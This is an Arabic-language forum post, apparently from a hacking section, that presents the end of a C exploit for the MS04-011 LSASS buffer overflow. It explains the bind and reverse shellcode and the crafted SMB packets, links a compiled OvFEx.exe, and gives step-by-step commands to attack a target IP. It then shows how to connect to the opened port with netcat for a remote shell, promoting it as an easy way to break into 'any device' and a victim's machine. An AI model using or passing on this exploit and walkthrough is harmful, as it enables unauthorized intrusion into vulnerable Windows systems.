if (send(sockfd, screq2k, 4348, 0) == -1) { printf("[-] Send failed\n"); exit(1); } len = recv(sockfd, recvbuf, 1600, 0); if (send(sockfd, screq2k2, 4060, 0) == -1) { printf("[-] Send failed\n"); exit(1); } } else { memcpy(screq, req7, sizeof(req7)-1); memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE); memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16); screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0; if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){ printf("[-] Send failed\n"); exit(1); } } printf("OK\n"); len = recv(sockfd, recvbuf, 1600, 0); return 0; } ترجم البرنامج بإستخدام مترجم السي , وإذا كنت لاتملك مترجم سي قم بتحميل البرنامج النهائي من هذة الرابط OvFEx.zip شرح الكود + شرح عمل أو مايقوم بة هذا البرنامج (سهولة إختراق اي جهاز ) تلاحظ بأن كود البرنامج عبارة عن أكثر من ****lcode ,ولكن ليست كلها تنفيذية مثلاً التعريف reverse****l وهو عبارة عن كود تنفيذي وضيفتة إعادة نوع وإصدار النظام الذي سينفذ بة الكود التعريف bind****l هذا التعريف يمثل ****lcode الأساسي وهو عبارة عن كود يقوم بفتح منفذ والإنصات أما بقية التعاريف مثل reg1 و reg2 و reg3 و reg4 ,............هذة البيانات عبارة عن رسائل لبروتوكول SMB لاحظ التعريف reg1 عبارة عن بيانات تمثل : 00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 ...…ےSMBr.... Sب 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے 00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b. PC NETWORK PROGRAM 1.0 52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 ..RK PROGRAM 1.0. 4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F .. LANMAN1.0. Windo 77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ..ws for Workgroup 73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 ..s 3.1a. LM1.2X00 32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 .. 2. LANMAN2.1. NT 20 4C 4D 20 30 2E 31 32 00 ..LM 0.12. ولاحظ التعريف reg4 مثلاً 00 00 00 5C FF 53 4D 42 75 00 00 00 00 18 07 C8 ...\ےSMBu.... ب 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے 00 08 30 00 04 FF 00 5C 00 08 00 01 00 31 00 00 . 0. ے.\. . .1.. 5C 00 5C 00 31 00 39 00 32 00 2E 00 31 00 36 00 \.\.1.9.2...1.6. 38 00 2E 00 31 00 2E 00 32 00 31 00 30 00 5C 00 8...1...2.1.0.\. 49 00 50 00 43 00 24 00 00 00 3F 3F 3F 3F 3F I.P.C.$...????? هذة الرسائل مشابهة للأمر التالي في الدوس net use \\192.168.1.210\IPC$ ""?????"" وهكذا مع بقية الرسائل ,,, - بعد أن تترجم الكود , قم بتشغيل الدوس وتجول في الجهاز إلى أن تصل إلى برنامجنا OvFEx.exe طريقة إستخدام برنامجنا هي كالتالي C:\OvFEx.exe 0 192.168.1.10 4444 -t البارمتر الأول : إما أن يكون 0 أو 1 أو 2 على حسب نوع النظام 0 : WinXP Professional [universal] lsass.exe 1 : Win2k Professional [universal] netrap.dll 2 : Win2k Advanced Server [SP4] netrap.dll البارمتر الثاني : رقم ip للجهاز المستهدف البارمتر 3 وهو رقم المنفذ الذي سنقوم بفتحة للدخول إلى الجهاز أما حرف ال t الأخير يكتب إذا كنا لانعرف إصدار ونوع النظام الذي نريد الدخول لة , إذا كتبنا حرف t فإن ****lcode الذي سينفذ هوreverse****l وسيعيد لنا البرنامج نوع النظام المستهدف دون إختراقة أو فتح أي منفذ , بهذا الشكل C:\OvFEx.exe 0 192.168.1.10 4444 -t MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1 --- Coded by .::[ houseofdabus ]::. --- *[*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe *[*] Connecting to 192.168.1.10:445 ... OK *[*] Detecting remote OS: Windows 5.0 بعد أن نحصل على نوع النظام نقوم بإختراقة وفتح منفذ , بهذة الطريقة : C:\OvFEx.exe 1 192.168.1.10 4444 MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1 --- Coded by .::[ houseofdabus ]::. ---[*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll[*] Connecting to 192.168.1.10:445 ... OK[*] Attacking ... OK إذا ظهرت لك هذة الرسالة , معناة أن عملية الإختراق تمت بنجاح وتم تنفيذ ****lcode وهو bindcode والآن تعتبر نجحت في فتح منفذ جديد في الجهاز المستهدف ولكن كيف تستفيد منة , بكل بساطة بإستخدام أداة NetCat وإختصارها nc.exe تستطيع الدخول إلى الجهاز بهذة الطريقة وهذة البساطة : C:\nc 192.168.1.10 4444 Microsoft Windows 2000 [Version 5.00.2195] © Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> الآن تعتبر داخل الجهاز المستهدف نفذ ماتريد تستطيع تحميل برنامج NetCat والشفرة المصدرية للأداة لنظام وندوز من هنا : netcat وبعد هذة الأمثلة الوهمية ,, إليك مثال حقيقي لإختراق جهاز ؟!!! تابع الصور فهي تطبيق عملي على ماذكر من طرق إختراق ؟؟ فقط تتطلب رقم ip الصورة1 عبارة عن عملية إختراق - مع تطبيق الثلاث خطوات : قد لايصدق البعض أنك بداخل جهاز الضحية ؟؟! والبعض الآخر يريد دليل على أن النظام الذي ظهر هو النظام المستهدف ؟ّ مارأيك بصورة من داخل نظام لينكس , والنظام المستهدف وندوز طبعاً ,, |
مواقع النشر (المفضلة) |
جديد مواضيع قسم الهاكر و الحماية |
|
| |
Downloadiz2.Com - Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd |